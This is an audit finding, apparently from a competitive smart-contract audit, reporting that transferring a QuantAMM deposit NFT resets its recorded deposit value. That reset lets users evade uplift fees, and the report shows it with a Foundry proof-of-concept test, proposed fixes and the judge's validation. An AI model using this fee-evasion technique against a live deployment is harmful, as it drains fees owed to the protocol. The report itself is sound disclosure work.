QuantAMM
QuantAMM
49,600 OP
View results
Previous Next
Submission Details
Severity: high
Valid

Due to price reset on deposit NFT transfer users can avoid uplift fee

jsondoge

Summary

Because price is reset on deposit NFT transfer users can transfer between own addresses to avoid fees before liquidity withdrawal.

Vulnerability Details

Upon deposit NFT transfer router is called to update the deposit structure to the receiver

function afterUpdate(address _from, address _to, uint256 _tokenID) public

But it also updates the deposit value:

...
if (tokenIdIndexFound) {
if (_to != address(0)) {
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow; // < value reset
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
...

Because any deposit owner can transfer without restriction anybody can reset their deposit value to the current price. If this is done just before liquidity withdrawal, no one will ever have to pay uplift fees only the minimal withdrawal fee which is significantly smaller.

Impact

Easy scaling fee evasion by using own secondary addresses to transfer forward and back if necessary.

Tools Used

Manual review + foundry test.

In the test:

  • Alice makes a deposit

  • Price increased 20x

  • Alice transfers deposit to Bob

  • Bob withdraws and only pays min withdrawal fee of (0.05%) instead of scaled uplift fee

function testNftTransferAllowsEvadingUpliftFees() public {
uint256[] memory maxAmountsIn = [dai.balanceOf(alice), usdc.balanceOf(alice)].toMemoryArray();
uint256 input = 1e18;
​
vm.prank(alice);
uint256[] memory amountsIn = upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, input, false, bytes(""));
​
int256[] memory prices = new int256[]();
prices[0] = 0;
prices[1] = 20e18; // 20x price increase (1e18 originally)
updateWeightRunner.setMockPrices(pool, prices);
​
LPNFT nft = LPNFT(upliftOnlyRouter.lpNFT());
vm.prank(alice);
nft.transferFrom(address(alice), address(bob), 1);
​
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
​
uint256 beforeDaibob = dai.balanceOf(bob);
uint256 beforeUsdcbob = usdc.balanceOf(bob);
​
vm.prank(bob);
upliftOnlyRouter.removeLiquidityProportional(input, minAmountsOut, false, pool);
​
uint256 afterDaibob = dai.balanceOf(bob);
uint256 afterUsdcbob = usdc.balanceOf(bob);
​
uint256 daiDiff = afterDaibob - beforeDaibob;
uint256 usdcDiff = afterUsdcbob - beforeUsdcbob;
​
// default test min withdrawal fee is 0.05%
// uplift fee should scale with the price increase (which it did 20x)
assertEq(amountsIn[0] * 9995 / 10000, daiDiff, "Bob paid only min withdrawal fee (0.05%)");
assertEq(amountsIn[1] * 9995 / 10000, usdcDiff, "Bob paid only min withdrawal fee (0.05%)");
}

Recommendations

Few possible approaches:

1) If applicable charge fees upon each transfers. So that a transfer becomes equal to withdrawing and depositing at the new address.

2) Do not update price value on transfer so that it becomes the next owners responsibility to pay full fees upon withdrawal.

function afterUpdate(address _from, address _to, uint256 _tokenID) public {
...
​
if (_to != address(0)) {
// @audit do not update deposit value, so it falls on the receiver to pay full fees
- feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
// @audit can optionally be updated or not as did not find any logic depending on it
- feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
...
​
​
Updates

Lead Judging Commences

n0kto Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_bypass_fee_collection_updating_the_deposited_value

Likelihood: High, any transfer will trigger the bug. Impact: High, will update lpTokenDepositValue to the new current value without taking fees on profit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.